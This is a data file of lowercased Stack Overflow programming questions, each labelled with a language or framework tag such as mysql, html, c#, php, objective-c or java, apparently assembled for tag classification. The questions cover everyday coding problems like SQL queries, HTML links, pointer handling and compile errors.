find average per day  take latest if there is no record for the day  i m not sure that the tile is correct nor specific..    i have a table that looks like this:   <pre><code>2013-01-01 a: 100  2013-01-02 b: 50  2013-01-03 c: 75 b: 200 </code></pre>   where  a  b  c  user ids.    i need a query that will return:   <pre><code>2013-01-01 100 / 1 = 100  2013-01-02 (100 + 50) / 2 = 75  2013-01-03 (100 + 200 + 75) / 3 = 125 </code></pre>   [[2013-01-01  100]  [2013-01-02  75]  [2013-01-03  125]]    it seems for a certein date i can do this with:   <pre><code>select avg(column1) from table a    join (    select max(date) as max_date  user_id from table       where date &lt;  2013-09-01  group by user_id) b     on b.user_id = a.user_id and a.date = b.max_date; </code></pre>   however  i have an interval which can be split by day  week  month or year: [ 2013-01-01    2013-01-02  ...  2014-01-01 ] (continuous)     is there a faster way to do that instead of running 100 queries for a 100 day interval     sqlfiddle: <a href= http://sqlfiddle.com/#!2/d74fa/2  rel= nofollow >http://sqlfiddle.com/#!2/d74fa/2</a>    desired result:  single query that will return   <pre><code>2013-01-01  100 2013-01-02  75 2013-01-03  125 </code></pre>,mysql
why do i get a wrong link when click  <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;speaking english&lt;/title&gt;     &lt;link rel= stylesheet  href= c:\users\hss\desktop\essay\css\speaking.css /&gt; &lt;/head&gt;  &lt;body&gt;     &lt;div class= wrap &gt;         &lt;h1&gt;supercharging&lt;/h1&gt;         &lt;div class= table &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a href= file:///c:/users/hss/desktop/essay/about/index.html /&gt;home&lt;/li&gt;                 &lt;li&gt;&lt;a href=  /&gt;about us&lt;/li&gt;                 &lt;li&gt;&lt;a href=  /&gt;contact&lt;/li&gt;                 &lt;li&gt;&lt;a href=  /&gt;career&lt;/li&gt;                 &lt;li&gt;&lt;a href= c:\users\hss\desktop\essay\about\feedback.html /&gt;make suggestion/feedback&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt;            &lt;p&gt;         &lt;article&gt;              &lt;img src= c:\users\hss\desktop\essay\img\alec.png  alt= english alec /&gt;          &lt;/article&gt;          &lt;/p&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   /*  i do not know why when i click the picture in the article  the make suggestion link in the list is called.      please help.     thanks */,html
is there any way to recover my application in ruby on rails if i have a copy at the git repository   i have stupidly named a new web_app the same name in my ruby on rails directory.    and now i tried to look back the  blog  in the browser  all is gone.    now  i have a copy of the application in git repository.    is there anyway i can pull it down to the command prompt in my computer     hope someone can advise me how to.    i have so far tried git pull origin master and the rails command prompts only said master -> fetch head    but  still nothing shows up in the browser when i type localhost:3000 etc..    thanks.,ruby-on-rails
advice on list/look up table/hash table   i have a fairly simple (at least i thought simple) task i m trying to achieve but for the life of me i can t think of the best way of doing it in php.      note i m trying to avoid using nested multi-dimensional arrays.    what i want to do is a simple 2 axis reference table which i can query/look up against.   <pre><code>    0 | 1 | 2 | 3 | 4 | 5 0   5   0   0   0   0   0 - 1   0   2   0   1   0   0 - 2   0   0   0   7   0   1 - 3   1   2   4   10  1   0 - 4   0   0   0   0   0   0 - 5   0   3   4   0   1   0 </code></pre>   then i want to query it so lookup_table(3 3) would return 10.  i also need to update the values in the table so like add_lookup_table(3 3 1) would change location 3 3 to 11 or some variation of.    so far i know i can achieve it with multidim arrays however want to avoid this because its just going to be a pain in the ass getting and setting each time. i thought about a list() but php s lists aren t really lists so that goes out the window.    what i m after is suggestions/recommendations for a better way of doing this.,php
replicating previous month data if current month is null  how do i write a sql query where if values are null for current month it will populate with values from previous month  thanks for your help,sql
3 tier architecture obj issue  im pretty new to 3 tier arch.  i ve been reading questions around this topic here at so and a user response  this page  helped me a lot with a quick an easy example. <a href= http://www.beansoftware.com/asp.net-tutorials/three-tier-architecture.aspx  rel= nofollow >http://www.beansoftware.com/asp.net-tutorials/three-tier-architecture.aspx</a>    when it explains business layer and dal  the example uses <strong>objdt</strong> but i don t see it initialized anywhere. it calls a method from dal so i assume it s a dal object but again  i can t see the initialization. then the same object calls a sql function which is not described in the example but i assume it should go in the dal class.    am i wrong or the example is missing something  it would clear my doubts to know what that obj is. thanks a lot.,c#
allow users to edit the option element <pre><code>&lt;select&gt;     &lt;option name= org_name &gt;org&lt;/option&gt;     &lt;option value= editable  &gt;editable  &lt;/option&gt; &lt;/select&gt; </code></pre>   i have this html select element  inside it there are two option elements is it possible to allow users to edit the option element value and textcontent,html
simplejson decoder for a python script  i am trying to parse the code with simplejson using a python script.   <pre><code>{  name : some      products_valid_time_from :2011-08-01t14:45:00     products_valid_time_to :2011-08-01t21:00:00    } </code></pre>   ia m getting an error    <pre><code>simplejson.decoder.jsondecodeerror: expecting   delimiter: line 2 column 34 (char 52) </code></pre>   can some one help me with this,python
http request without encoding  i need to send a http request without encoding (i have to consume a stupid supplier api that breaks if you encode your urls)    so currently i have   <pre><code>    string address =  https://www.eco-bb.bt.com/bbxml33/batchstatus.asp b_customerid=[o/m12346800]&amp;batchid=[  + batchid +  ] ;     httpwebrequest request = (httpwebrequest)webrequest.create(address); </code></pre>   which produces    <blockquote>    post   <a href= https://www.eco-bb.bt.com/bbxml33/upload.asp b_customerid=%5bo/m12346800%5d  rel= nofollow >https://www.eco-bb.bt.com/bbxml33/upload.asp b_customerid=%5bo/m12346800%5d</a>  </blockquote>   and i want it to produce   <blockquote>    post   https://www.eco-bb.bt.com/bbxml33/upload.asp b_customerid=[o/m12346800]  </blockquote>   i m a little stumped. any suggestions on how to proceed,c#
"retrieving items from an array within a data object with ng-options  i have an object of cars with make and model. each make has different models. i am trying to built a search form that let s the user refine his search. when the user choose a make in a select the make field should be automatically be populate with the types corresponding to this make. this is how i do it:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> $scope.myform = [
         {
             make:  audi  
             type: [ a1    a2    a3    a4    a5    a6    a8    q3    q5    q7 ]
         }  {
             make:  bmw  
             type: [ 316    318    320    323    325    330 ]
         }  {
             make:  toyota  
             type: [ avensis    carina    starlet    landcruiser    aygo    hilux ]
         }
     ]</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h2&gt;search&lt;/h2&gt;
         &lt;form class= form-inline &gt;
             &lt;div class= form-group &gt;
 
                 &lt;label for= makeselect &gt;make&lt;/label&gt;
                 &lt;select ng-model= myform.make  class= form-control  ng-options= form.make for form in myform  &gt;
                     &lt;option value=   id= makeselect &gt;select your make&lt;/option&gt;
                 &lt;/select&gt;
 
                 &lt;label for= typeselect &gt;type&lt;/label&gt;
                 &lt;select ng-model= myform.type  class= form-control  ng-options= form.type for form in myform.type | filter:myform.make &gt;
                     &lt;option value=   id= typeselect &gt;select your type&lt;/option&gt;
                 &lt;/select&gt;
 
             &lt;/div&gt;
         &lt;/form&gt;</code></pre>
 </div>
 </div>
     it is not working  any idea",angularjs
can i use click once to install shared files and if so  how   we use click once to install our custom apps.  but i like to design my apps as separate assemblies.  for example  i just made a label and envelop printer which consists of several projects  for example  a data manager  word automation  error logging  ect.  the error logging is very detailed  it will log the event that initiated the call all the way down to the method that caused the actual error.  it would be nice to just use the same dll and while i can with the click once  if i update the project i will have to publish every solution that uses it  quite silly indeed.    although it may not be too bad with just error logging duplicated  but this issue will just get worse.      is the click once just for one-offs and not for the serious developer   that would be lame since it works really well in a business as far as distribution and updating goes.  from what i ve seen fails in the scalable department.  unless there s something i missed. . .,.net
need to change my status bar color to white  i m doing my first ios project. i need to change my status bar color from default black to white. i know how to add a file in my <code>info.plist</code>   <code>view controller-based status bar appearance</code> to <code>no</code>.    but still i am not getting my white color. did i forgot any code to add  kindly  give me some assistance.,ios
how to stop the console from flashing and disappearing  i̇ have wrıtten my first code in c# as a console application in visual studio. however on running the code  the console just flashes and goes. how should i modify my code so as for the console to remain showing the message until i close it   <pre><code>       using system;      using system.collections.generic;      using system.linq;      using system.text;      using system.threading.tasks;    namespace consoleapplication1  {     class program     {         static void main (string[] args)         {             system.console.writeline( my name ıs trevor );         }     } } </code></pre>,c#
is delete called on a c++ default pointer parameter  i have a function that instantiates a pointer by default if it is not supplied with the second parameter.   <pre><code>void dosomething(int a  obj* obj = new obj()) { ... } </code></pre>   do i need to call an explicit delete inside the function if i want to release obj or it is done automatically if i had instantiated the pointer from the default param values     i want to avoid doing an explicit delete myself since if the second argument is passed then i don t want to delete the pointer passed by the caller.,c++
any browser other than ie8 and below  i want some html to be displayed for any browser other than ie8 and below    i tried this but it didn;t work.  what s the correct syntax    <pre><code>&lt;!--[if !lte ie 8]&gt;      // my html here          &lt;![endif]--&gt;  </code></pre>,html
sequential boxes with 3 random box shadow colors  <strong>case:</strong>    i use owl carousel for the boxes with maximum 10 thumbnails (that will scroll manually across the browser with define width each panel). however  i ve searched google on  how create 3 random colors using jquery  and seems some of the results are difficult for me to integrate.    <strong>code fig.1</strong>   <pre><code>boxshadow = function() {   var hficolors = [ #00a9e0    #e82425    #efb12a ];   var colors = hficolors.slice(0);    $( .program-gallery .item ).each(function(i){     var i = i + 1;     var color = math.floor(math.random() * colors.length);      $(this).css( box-shadow    0 0 0 5px  + colors[color]);     colors = colors.slice(0 color-1).concat( colors.slice(color+1 colors.length-1) );   });    $.each(colors  function(i  v){     $( .item  + (+i + 1)).html(colors[i]);   }); } $(document).ready(boxshadow); </code></pre>   this is the code i have so far  and it generates random box-shadow to my thumbnails  but some box-shadows to my thumbnails are not displaying correctly. honest to tell  i am confuse now on the code structure.    <strong>code fig.2</strong>   <pre><code>&lt;div class= program-gallery &gt;   &lt;div class= item &gt;     &lt;figure class= uk-overlay uk-overlay-hover &gt;       &lt;img src= https://placem.at/things w=1600&amp;h=980&amp;txt=0&amp;random=201  alt=  &gt;       &lt;figcaption class= uk-overlay-panel uk-overlay-background uk-overlay-fade uk-flex uk-flex-bottom &gt;         lorem ipsum dolor sit amet  consectetur adipisicing elit consequuntur.       &lt;/figcaption&gt;       &lt;a class= uk-position-cover &gt;&lt;/a&gt;     &lt;/figure&gt;   &lt;/div&gt;   &lt;div class= item &gt;     &lt;figure class= uk-overlay uk-overlay-hover &gt;       &lt;img src= https://placem.at/things w=1600&amp;h=980&amp;txt=0&amp;random=202  alt=  &gt;       &lt;figcaption class= uk-overlay-panel uk-overlay-background uk-overlay-fade uk-flex uk-flex-bottom &gt;         suscipit blanditiis quos aspernatur minus optio beatae consectetur quidem accusantium rerum ab sed nisi.       &lt;/figcaption&gt;       &lt;a class= uk-position-cover &gt;&lt;/a&gt;     &lt;/figure&gt;   &lt;/div&gt;   &lt;div class= item &gt;     &lt;figure class= uk-overlay uk-overlay-hover &gt;       &lt;img src= https://placem.at/things w=1600&amp;h=980&amp;txt=0&amp;random=203  alt=  &gt;       &lt;figcaption class= uk-overlay-panel uk-overlay-background uk-overlay-fade uk-flex uk-flex-bottom &gt;         culpa consequuntur necessitatibus laboriosam  quas quos odit non unde consequatur fugit rerum incidunt.       &lt;/figcaption&gt;       &lt;a class= uk-position-cover &gt;&lt;/a&gt;     &lt;/figure&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>what to achieve:</strong>    i would like to create a 3 random box-shadow colors (only) over to each (10 thumbs) of <code>.item</code> class.    <strong>photo fig.1</strong> <a href= https://i.stack.imgur.com/jqmox.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jqmox.jpg  alt= sample owl carousel output with box-shadow 3 random colors ></a>,jquery
simple copying pointers with objective c  i m trying to modify the contents of one pointer using another. i want string2 to point to what string1 points to  so that when i modify string2  it modifies string1. how can i do this    <pre><code> nsstring *string1=@ hello ;  nsstring *string2=string1;  string2=@ changed ;  nslog(@ string1:%@  string2:%@   string1  string2); // string1:hello  string2:changed  </code></pre>,objective-c
loading view controllers one after the other with delay in a container view  loading multiple view controllers one after the other with delay like this   <pre><code>-(void)playpauseaction:(id)sender { if([audioplayer isplaying]) { [sender setimage:[uiimage imagenamed:@ play icon.png ] forstate:uicontrolstateselected]; [audioplayer pause]; [self pausetimer]; [self pauselayer:self.view.layer]; }else{ [sender setimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstatenormal]; [audioplayer play]; [self resumetimer]; [self resumelayer:self.view.layer];   if(isfirsttime == yes)   {  self.timer = [nstimer scheduledtimerwithtimeinterval:11.0                                      target:self                                      selector:@selector(displayviewsaction:)                                      userinfo:nil                                      repeats:no];         isfirsttime  = no;     }}}  - (void)displayviewsaction:(id)sender   {      first *firstcontroller = [[first alloc] init];    firstcontroller.view.frame = cgrectmake(0  0  320  480);    catransition *transitionanimation = [catransition animation];        [transitionanimation setduration:1];     [transitionanimation settype:kcatransitionfade];         [transitionanimation settimingfunction:[camediatimingfunction functionwithname:kcamediatimingfunctioneasein]];         [self.view.layer addanimation:transitionanimation forkey:kcatransitionfade];     [self.view addsubview:firstcontroller.view];     [self.view addsubview:toolbar];     [firstcontroller release];        self.timer = [nstimer scheduledtimerwithtimeinterval:23 target:self selector:@selector(second) userinfo:nil repeats:no];          }     -(void)second     { second *secondcontroller = [[second alloc] init]; secondcontroller.view.frame = cgrectmake(0  0  320  480); catransition *transitionanimation = [catransition animation]; [transitionanimation setduration:1]; [transitionanimation settype:kcatransitionreveal]; [transitionanimation settimingfunction:[camediatimingfunction functionwithname:kcamediatimingfunctioneasein]]; [self.view.layer addanimation:transitionanimation forkey:kcatransitionreveal]; [self.view addsubview:secondcontroller.view];  [self.view addsubview:toolbar]; [secondcontroller release]; self.timer = [nstimer scheduledtimerwithtimeinterval:27 target:self selector:@selector(third) userinfo:nil repeats:no];  } </code></pre>   requirement is to add a container view and load all view controllers in containerview.     so  in the load view can create uiview and container view like this   <pre><code>   - (void)loadview     { // set up the base view cgrect frame = [[uiscreen mainscreen] applicationframe]; uiview *view = [[uiview alloc] initwithframe:frame]; view.autoresizingmask = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight; view.backgroundcolor = [uicolor bluecolor];  // set up content view a bit inset frame = cgrectinset(view.bounds  0  100); _containerview = [[uiview alloc] initwithframe:frame]; _containerview.backgroundcolor = [uicolor redcolor]; _containerview.autoresizingmask = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight; [view addsubview:_containerview];} </code></pre>   in the appdelegate can do it like this   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions   { self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];  containerviewcontroller *container = [[containerviewcontroller alloc] init];     self.window.rootviewcontroller = container;   // make an array of 23 pagevcs nsmutablearray *controllers = [nsmutablearray array];    [controllers addobject:firstcontroller];    [controllers addobject:secondcontroller];    [controllers addobject:.....];     [controllers addobject:twentythreecontroller];  for (int i=0; i&lt;23; i++) {     first *firstcontroller = [[first alloc] init];  [controllers addobject:firstcontroller  secondcontroller  ..... twentythreecontroller]; }  // set these as sub vcs [container setsubviewcontrollers:controllers];      [self.window makekeyandvisible];     return yes;} </code></pre>   loading all viewcontrollers in container view like this will be okay or doing something wrong in here.     appreciate help for this.    thanks.,iphone
textbox visible attribute  i am currently working with visible attributes on textboxes. below i copy pasted a snippet of my code. i have several textboxes in my form. it is going to become very tedious trying to write it as i have below for all the textboxes. is there a way to compress my code to a few lines to make the textboxes visible    <pre><code>    public void makevisible()     {         textbox1.visible = true;         textbox2.visible = true;         textbox3.visible = true;         textbox4.visible = true;         //etc.      } </code></pre>,c#
c++ delete nodes after another in single linked list  what i am trying to do is check if node after value is specific number and if is  then delete previoues node. something like:    1 2 3 4 5 4 if next node number is 4 then delete this node. 1 2 3 4 5 4 -> 1 2 4 4    <pre><code>node* temp = head; while (head != null) {     if (head-&gt;next-&gt;number == 4) {         delete temp;     }     head = head-&gt;next; } </code></pre>   struggling at this moment as compiler crashes.,c++
html - placing tables in destination places  i can t get right positions for my tables. i have code like this:   <pre><code>&lt;div style= width: 1270px; &gt;   &lt;div&gt;    &lt;table style= float:left&gt;     &lt;tr&gt;&lt;td&gt;something1&lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;something2&lt;/td&gt;&lt;/tr&gt;    &lt;/table&gt;    &lt;img src= some_sorce &gt;    &lt;table style= float:left&gt;     &lt;tr&gt;&lt;td&gt;something3&lt;/td&gt;&lt;/tr&gt;     &lt;tr&gt;&lt;td&gt;something4&lt;/td&gt;&lt;/tr&gt;    &lt;/table&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   and i have two problems: first i want tables to be placed in bottom of containing div. i try some kind of  vertical-align  in some places but it fail for me. secoundly i want the image to be in center of div   text-align: center  don t do the trick. could someone help me anyhow,html
css solution equal height 2 columns where smaller column wins   i have two columns. a sidebar with a long navigation and main content. the sidebar will always have more height than the main content. i want the sidebar to have the equal height to the main column. the sidebar will have <code>overflow-y: scroll</code> and should not be higher than the main content. i can not use <code>height</code> or <code>max-height</code> as the content of the main content will vary and therefore i do not know the height.     i was hoping to find a solution with the new css grid but i have not really figured it out.    <em>note i am aware that this can be achieved relatively easy with a script but am hoping to find a css solution to this.</em>     <a href= https://jsfiddle.net/ingvi/4kxxsjwa/14/  rel= nofollow noreferrer >fiddle</a>,css
storing postorder sequence in array  in the code below  the nodes of a postorder tree traversal is always printed i m wondering if there is a way to store these nodes in the postorder sequence in an array do i have to do the traversal in a iterative way    <pre><code>public static void postorder(treenode root) {   if (root != null) {     postorder(root.left);     postorder(root.right);     system.out.print(root.item +     );   } else {     return;   } } </code></pre>,java
uiwebview: delegate won t be called  i try to calculate the size of a uiwebview with a given content  but without showing the view.  i only need to know the size.     my problem: when i execute the code  the delegate of the uiwebview isn t called. why     messagesizecaluclator.h   <pre><code>#import &lt; foundation/foundation.h&gt;  @class message;  @interface messagesizecaluclator : nsobject &lt;uiwebviewdelegate&gt;  - (id)initwithmessage:(message*)message; - (void)savesize;  @end </code></pre>   messagesizecaluclator.m   <pre><code>#import  message.h  #import  messagesizecaluclator.h    @interface messagesizecaluclator () &lt;uiwebviewdelegate&gt;  @property (strong  nonatomic) message* message; @property (strong  nonatomic) uiwebview* webview;  @end   @implementation messagesizecaluclator  @synthesize message = _message; @synthesize webview = _webview;   - (id)initwithmessage:(message*)message { self = [super init];  if (self) {     _message = message;      // webview     _webview = [[uiwebview alloc] initwithframe:cgrectmake(0  0  10  10)];     _webview.delegate = self; }  return self; }  - (void)savesize { nslog(@ %s message = %@   __pretty_function__  _message.text);  [_webview loadhtmlstring:[nsstring stringwithformat:@ &lt;div style= font-family:helvetica;font-size:13px; &gt;this is a test&lt;/div&gt;   _message.text]                                  baseurl:nil]; }  #pragma mark - web view delegate  - (void)webview:(uiwebview *)webview didfailloadwitherror:(nserror *)error { nslog(@ %s   __pretty_function__); }  - (void)webviewdidstartload:(uiwebview *)webview { nslog(@ %s   __pretty_function__); }  - (void)webviewdidfinishload:(uiwebview *)webview { nslog(@ %s   __pretty_function__); }  @end </code></pre>   implementation   <pre><code>    messagesizecaluclator* messagesizecalculator = [[messagesizecaluclator alloc] initwithmessage:message];     [messagesizecalculator savesize]; </code></pre>,objective-c
how to get autocomplete functionality without a control  if you supply a list of strings to an edit control and set the autocomplete mode and source then you automatically get autocomplete functionality. my question is can i get the same functionality in .net somewhere without a control. in other words i want something like:     <pre><code>string[] progressivepartialmatch( string[] strings  string matchtext ) </code></pre>   and so i want the strings back that would have showed up in the autocomplete  so to speak.,.net
change file extension  how do i change a files file-extension name in php     for example: <code>$filename= 234230923_picture.bmp </code> and i want the extension to change to <code>jpg</code>.,php
how can i add newlines to stringstream or a string using returns rather than  \n    i have a file. rather than using ifstream  i want to hard code it into my .cpp file. however  it is formatted using returns rather than  \n  characters. is there a solution for this  i don t want to manually convert everything to  \n .   <pre><code>stringstream newstring; newstring =  nine of spades ten of spades jack of spades queen of spades king of spades ace of spades nine of hearts ... ace of diamonds ; </code></pre>,c++
how come my app doesn t show up on app store or itunes searches   three hours ago i received an email regarding my free app that it is  ready for sale . when i go into my itunes connect  there is a link to  view in app store . when i click this link  it appears fine (it shows in itunes)  however when i manually search it in itunes or app store  nothing appears (finds nothing). is there a certain wait time for it to appear or did i do something wrong  thanks.,ios
angularjs routing with multiple modules  i am currently working on a angularjs application with multiple modules. every module has its own template and controller. let s say appmodule  contactmodule and aboutmodule.    i am currently using ng-switch based on the url to navigate between screens. the problem is that every time is switch between the screen my controller is re-initialized and is making service calls to get the data. i only want to get the data first time i go that screen.    basically  i would like to know if i am in the right path or is there a better way to do this using routeprovider,angularjs
multiple background colors on div s background  hey there i m struggling with creating multiple colour background with css. i tried <code>gradient</code> but it makes shades which i doesn t want. i want to create this with css:    <img src= https://i.stack.imgur.com/atdo3.jpg  alt= example of what i want to create with css >    does anyone know how to create this without getting shades that i got when i used <code>gradient</code>.    here is my html code.   <pre><code>&lt;div id= head &gt;         &lt;h1&gt;mira s place&lt;/h1&gt;&lt;br&gt;         &lt;h2&gt;&lt;span id= quote &gt;mira is creating huge game named rock paper!&lt;/span&gt;&lt;/h2&gt;         &lt;ul&gt;             &lt;li&gt;home&lt;/li&gt;             &lt;li&gt;games&lt;/li&gt;             &lt;li&gt;applications&lt;/li&gt;             &lt;li&gt;contact&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt; </code></pre>,css
delete object without calling destructors of member pointers  i have a class mesh.    i have another class called safemesh.    many safemeshes store a pointer to the same mesh.    when i call the destructor of a safemesh  i don t want to delete my mesh.    how can i do this,c++
can i change the text color of a tag without css   i m writing a template for an e-mail  and i can t use css. i need to change the color of the links  by default they get blue and underline. i want to keep the underline but change the color to black. is that even possible without css     my exact line is:   <pre><code>&lt;tr&gt;&lt;td&gt;&lt;a href= # &gt; link 3 &lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; </code></pre>   <strong>edit</strong>     i found <a href= https://stackoverflow.com/questions/299168/html-text-decoration-of-a-link-without-css >this answer</a> but it adds an attribute to the body section. that s also something i can t have. any other solutions    <pre><code>&lt;body link= xxx  alink= yyy  vlink= zzz &gt; </code></pre>   <strong>edit</strong>    <a href= http://www.campaignmonitor.com/css/  rel= nofollow noreferrer >this link</a> is great if like me you have to write html for an email. i m copying it here for posterity. thanks @andy.,html
objective c error at objectatindex array  i have a problem with objective c code  i recieve these errors.   <pre><code> 2013-01-31 16:22:53.611 isa-mp[541:c07] -[__nscfdictionary objectatindex:]: unrecognized selector sent to instance 0x7465d70 2013-01-31 16:22:53.614 isa-mp[541:c07] *** terminating app due to uncaught exception                nsinvalidargumentexception   reason:  -[__nscfdictionary objectatindex:]: unrecognized selector sent to instance 0x7465d70  *** first throw call stack: (0x1c8c012 0x10c9e7e 0x1d174bd 0x1c7bbbc 0x1c7b94e 0x2163 0xf2817 0xf2882 0x41a25 0x41dbf             0x41f55 0x4af67 0xefcc 0xffab 0x21315 0x2224b 0x13cf8 0x1be7df9 0x1be7ad0 0x1c01bf5 0x1c01962 0x1c32bb6 0x1c31f44 0x1c31e1b 0xf7da 0x1165c 0x1dbd 0x1ce5)  libc++abi.dylib: terminate called throwing an exception </code></pre>   with this code:   <pre><code>  nsstring *urlstring = [nsstring stringwithformat:@ http://192.168.0.125:100/isa-mp/isa-mp.php serverip=192.168.0.125&amp;serverport=7777 ]; nsurl *url = [nsurl urlwithstring:urlstring]; nsdata *data = [nsdata datawithcontentsofurl:url]; nserror *error; nsmutablearray *array = (nsmutablearray*)[nsjsonserialization jsonobjectwithdata:data options:kniloptions error:&amp;error];  nslog(@ %@   [array objectatindex:0]); </code></pre>,objective-c
specifying .net custom data provider in web.config file   i have created a custom data provider using system.data.common class  and implementing the interfaces idbconnection idbcommand etc and the provider name is  mysampleprovider     now i want to specify the provider in connection string of web.config  so that i can use own provider (mysampleprovider) instead of the .net data providers.    can anyone guide me on this  with a example     looking forward to your replies     hi  i followed your instruction and did the changes as below  still no success.my source is below                                                       <pre><code>    &lt;dbproviderfactories&gt;     &lt;remove invariant= customdataprovider /&gt;       &lt;add name= custom data provider  invariant= customtdataprovider  description= .net framework data provider  type= customdataprovider  version=1.0.0.0  culture=neutral  publickeytoken=null /&gt;     &lt;/dbproviderfactories&gt;   &lt;/system.data&gt;  &lt;connectionstrings&gt; &lt;add name= connectionstring  connectionstring= driver={mysql odbc 5.1 driver};server=192.168.1.6;uid=root;database=sample;port=3306;pwd=root79  providername= customdataprovider.dbmanager  /&gt; &lt;/connectionstrings&gt;                                                                     </code></pre>,.net
how to compress/decompress a long query string in php   <del>i doubt if this is encryption but i can t find a better phrase.</del> i need to pass a long query string like this:   <pre><code>http://test.com/test.php key=[some_very_loooooooooooooooooooooooong_query_string] </code></pre>   the query string contains no sensitive information so i m not really concerned about security in this case. it s just...well  too long and ugly. is there a library function that can let me encode/encrypt/compress the query string into something similar to the result of a md5() (similar as in  always a 32 character string)  but decode/decrypt/decompress-able,php
c3drenderercontextsetupresidentmeshsourceatlocation - double not supported in scenekit  i  am trying to rewrite this code for the iphone:     <a href= https://github.com/d-ronnqvist/drmeshgeometry  rel= nofollow >https://github.com/d-ronnqvist/drmeshgeometry</a>    the code is working in the simulator  but the iphone returns these errors:    <pre><code>2015-10-08 12:04:37.564 3dtest[4253:1581829] scenekit: error  c3drenderercontextsetupresidentmeshsourceatlocation - double not supported 2015-10-08 12:04:37.566 3dtest[4253:1581829] scenekit: error  c3dsourceaccessortovertexformat - invalid vertex format /buildroot/library/caches/com.apple.xbs/sources/metal/metal-54.31/framework/mtlvertexdescriptor.mm:761: failed assertion `unused buffer at index 18.  </code></pre>   the error is in this function:    <pre><code>- (scngeometry *)geometrywithfunction:(drmeshfunction)function     {     self.function = function;      nsuinteger width = self.stepsperaxiscounts.one;     nsuinteger depth = self.stepsperaxiscounts.two;      nsuinteger pointcount = width * depth;      scnvector3  vertices[pointcount];     scnvector3  normals[pointcount];     cgpoint     textures[pointcount];       nsuinteger numberofindices = (2*width)*(depth);     if (depth%4==0) numberofindices += 2;      short indices[numberofindices];       short lastindex = 0;     for (int row = 0 ; row&lt;width-1 ; row++) {         bool iseven = row%2 == 0;         for (int col = 0 ; col&lt;depth ; col++) {              if (iseven) {                 indices[lastindex] = row*width + col;                 lastindex++;                 indices[lastindex] = (row+1)*width + col;                 if (col == depth-1) {                     lastindex++;                     indices[lastindex] = (row+1)*width + col;                 }             } else {                 indices[lastindex] = row*width + (depth-1-col);                 lastindex++;                 indices[lastindex] = (row+1)*width + (depth-1-col);                 if (col == depth-1) {                     lastindex++;                     indices[lastindex] = (row+1)*width + (depth-1-col);                 }             }             lastindex++;         }     }      // generate the mesh by calculating the vector  normal     // and texture coordinate for each x z pair.     for (int row = 0 ; row&lt;width ; row++) {         for (int col = 0 ; col&lt;depth ; col++) {              cgfloat one = (float)col/(width-1) * (self.rangeone.max - self.rangeone.min) + self.rangeone.min;             cgfloat two = (float)row/(depth-1) * (self.rangetwo.max - self.rangetwo.min) + self.rangetwo.min;              scnvector3 value = [self vectorforfunction:function one:one two:two];              vertices[col + row*depth] = value;              cgfloat delta = 0.001;             scnvector3 dx = vectorsubtract(value                                             [self vectorforfunction:function one:one+delta two:two]);              scnvector3 dz = vectorsubtract(value                                             [self vectorforfunction:function one:one two:two+delta]);              normals[col + row*depth] = normalize( crossproduct(dz  dx) );               textures[col + row*depth] = cgpointmake(col/(float)width*self.texturerepeatcounts.one                                                      row/(float)depth*self.texturerepeatcounts.two);         }     }      // create geometry sources for the generated data      scngeometrysource *vertexsource  = [scngeometrysource geometrysourcewithvertices:vertices           count:pointcount];     scngeometrysource *normalsource  = [scngeometrysource geometrysourcewithnormals:normals             count:pointcount];     scngeometrysource *texturesource = [scngeometrysource geometrysourcewithtexturecoordinates:textures count:pointcount];       // configure the indices that was to be interpreted as a     // triangle strip using      scngeometryelement *element =     [scngeometryelement geometryelementwithdata:[nsdata datawithbytes:indices                                                                length:sizeof(short[numberofindices])]                                   primitivetype:scngeometryprimitivetypetrianglestrip                                  primitivecount:numberofindices                                   bytesperindex:sizeof(short)];      // create geometry from these sources     scngeometry *geometry = [scngeometry geometrywithsources:@[vertexsource  normalsource  texturesource]                                                 elements:@[element]];      // since the builder exposes a geometry with repeating texture      // coordinates it is configured with a repeating material      scnmaterial *repeatingtexturematerial = [scnmaterial material];     repeatingtexturematerial.doublesided = yes;      // possibly repeat all the materials texture coordintes here     repeatingtexturematerial.specular.contents = [uicolor colorwithwhite:0.3 alpha:1.0];     repeatingtexturematerial.shininess = .1250;      geometry.materials = @[repeatingtexturematerial];      return geometry; }  i really do not know what to try  </code></pre>,objective-c
code from a book is not compiling[headintojava]  i could not get my code to compile  i even copied the code from the github here it is    <pre><code>import javax.sound.midi.*;  public class minimusicplayer1 {     public static void main(string[] args) {         try {             sequencer sequencer = midisystem.getsequencer();             sequencer.open();              sequence seq = new sequence(sequence.ppq  4);             track track = seq.createtrack();              for(int i = 5; i &lt; 61; i += 4) {                 track.add(makeevent(144 1 i 100 i));                 track.add(makeevent(128 1 i 100 i + 2));             }              sequencer.setsequence(seq);             sequencer.settempoinbpm(220);             sequencer.start();         } catch(exception ex) {             ex.printstacktrace();         }     }      public static midievent makeevent(int comd  int chan  int one  int two  int tick) {         midievent event = null;         try {             shortmessage a = new shortmessage();             a.setmessage(comd  chan  one  two);             event = new midievent(a  tick);         } catch(exception e) {          }         return event;     } } </code></pre>   i type in <code>javac minimusicplayer1.java</code> and it gives me a number of errors  all related to midievent. the first error says midievent.java:1 error: class...expected.     the main error i see is    <blockquote>     cannot access midievent...bad source file .\midievent.java.....file does not contain class midievent....please remove or make sure it appears in the correct subdirectory of the sourcepath  </blockquote>   what could the problem be  i read other people using the same code without issues,java
